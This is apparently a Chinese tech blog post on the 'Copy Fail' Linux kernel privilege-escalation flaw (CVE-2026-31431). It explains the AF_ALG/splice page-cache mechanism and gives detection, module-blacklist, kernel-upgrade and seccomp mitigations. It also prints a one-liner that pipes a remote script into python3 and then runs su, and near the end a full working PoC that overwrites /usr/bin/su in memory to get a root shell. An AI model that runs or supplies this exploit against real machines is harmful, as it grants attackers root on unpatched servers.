732字节10行代码拿到Root!Linux内核潜伏9年的"核弹级"漏洞曝光
一行命令就能提权,你的服务器可能已经中招了。
curl https://copy.fail/exp | python3 && su
🔴 发生了什么?
2026年4月29日,安全研究团队 Xint Code 公开披露了一个 Linux 内核高危漏洞——代号 "Copy Fail"(CVE-2026-31431)。
这个漏洞的可怕之处在于:
一个仅732字节的Python脚本,无需任何依赖、无需编译、无需root权限,在几乎所有主流Linux发行版上,一次执行即可拿到 root 权限。
而且——磁盘上的文件不会被修改。传统安全工具根本检测不到。
📊 攻击原理:四步拿到 Root
[图1: 攻击链路流程图 - 含Step1~4完整攻击路径]
上面这张图展示了完整的攻击流程。简单来说就是:
- 创建一个AF_ALG加密socket —— 任何普通用户都能做,不需要任何特权
- 用 splice() 把目标文件的页缓存注入进去 —— 比如
/usr/bin/su 这个setuid程序 - 触发解密操作 —— authencesn 算法在处理时会越界写入4字节到页缓存
- 执行被篡改的
/usr/bin/su —— 因为它是setuid-root程序,直接拿到 root shell
为什么叫 "Copy Fail"?
漏洞的根本原因是三个"看似合理"的代码变更,在2011-2017年间先后合入内核:
| | |
|---|
| | |
| AF_ALG 获AEAD + splice()支持 | |
| | |
2017年那个 commit 把 src 和 dst 指向了同一个 scatterlist,导致 authencesn 的越界写入直接污染了页缓存页面。三个独立的"正确"决策,叠加在一起变成了灾难。
💥 跟历史上的"大佬"比比
[图2: 三大Linux提权漏洞对比表 - DirtyCow vs DirtyPipe vs CopyFail]
注意看 Copy Fail 的几个"恐怖属性":
- 100%确定性成功 — 不像Dirty Cow需要拼概率竞争条件
- 磁盘文件不变 — 仅内存被篡改,AIDE/Tripwire等完整性工具全部漏检
这还不是最可怕的。作者已经预告了 Part 2:From Pod to Host —— 展示如何利用此漏洞从Kubernetes容器逃逸到宿主机节点。云原生同学的噩梦来了……
🕰️ 9年,整整9年!
[漏洞时间线与受影响发行版 - 从2011年到2026年的完整时间轴]
从2017年漏洞诞生到2026年4月公开披露,这个bug在Linux内核里静静地潜伏了近9年。
更讽刺的是:这个漏洞是AI发现的。
研究者 Taeyang Lee (Theori) 使用 Xint Code AI 工具扫描 Linux crypto 子系统,约1小时就输出了最高严重性的结果。AI找bug的速度比人类快太多了……
你的系统受影响吗?
基本上,自2017年以来发布的所有主流Linux发行版都在射程内:
| |
|---|
| 18.04 / 20.04 / 22.04 / 24.04 / 25.10 全线中招 |
| |
| |
| |
楼主实测反馈:Ubuntu 22.04 已更新所有补丁 ✅
🛠️ 怎么排查和修复?
第一步:检查是否受影响
# 1. 查看内核版本
uname -r
# 2. 检查是否有漏洞(输出VULNERABLE说明有风险)
python3 -c "import socket; socket.socket(38,5,0); print('VULNERABLE')"
# 3. 检查模块是否加载
lsmod | grep algif
第二步:临时缓解(立即生效)
# 1. 立即卸载内存中的漏洞模块(关键)sudo rmmod algif_aead# 2. 永久禁止该模块被加载(重启后依然有效)echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-cve-2026-31431.conf# 3. 更新启动镜像(Ubuntu 必须步骤)sudo update-initramfs -u# 4. 验证:执行后无任何输出即代表防护成功lsmod | grep algif_aead
⚠️ 注意:RHEL/CentOS 8/9/10 如果模块是静态编译进内核的,此方法无效,必须升级内核。
第三步:彻底修复
升级内核到安全版本(commit ≥ a664bf3d603d):
# Ubuntu/Debian
sudo apt update && sudo apt upgrade
# RHEL/CentOS
sudo yum update kernel
各发行版官方补丁正在陆续推送中。
容器环境加固
如果你的业务跑在Docker/K8s上,建议通过 seccomp 规则禁止AF_ALG socket创建:
{
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0, "value": 38,
"op": "SCMP_CMP_EQ"
}]
}]
}
👉 几个值得深思的点
1. 内核代码质量的问题
三个"看起来都没问题"的变更,叠加在一起就是一个核弹级的漏洞。这说明什么?代码审查不能只看单个commit的影响,更要关注跨模块的组合效应。
2. AI辅助安全的时代到了
Xint Code 用1小时就发现了人类可能需要几个月才能找到的bug。以后的安全研究范式可能会被重写。
3. 页缓存的"双刃剑"特性
Linux的页缓存设计让IO如此高效,但同时也意味着——所有进程共享同一份内存中的文件数据,跨容器边界的攻击面远比我们想象的大。
写在最后
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
如果你是运维或开发者,现在就去检查你的服务器。
如果你是学生或技术爱好者,这篇文章展示了Linux内核安全研究的精妙之处——732行都不用,一行命令就够了。
漏洞详情和完整PoC代码已在GitHub开源:
👉 https://github.com/theori-io/copy-fail-CVE-2026-31/
你试过复现这个漏洞了吗?欢迎评论区交流 👇
参考来源:
- 腾讯云安全通告:https://cloud.tencent.com/announce/detail/2277
- Xint Code 原始分析:https://xint.io/blog/copy-fail-linux-distributions
- 官方漏洞网站:https://copy.fail/
- NVD 漏洞库:https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31/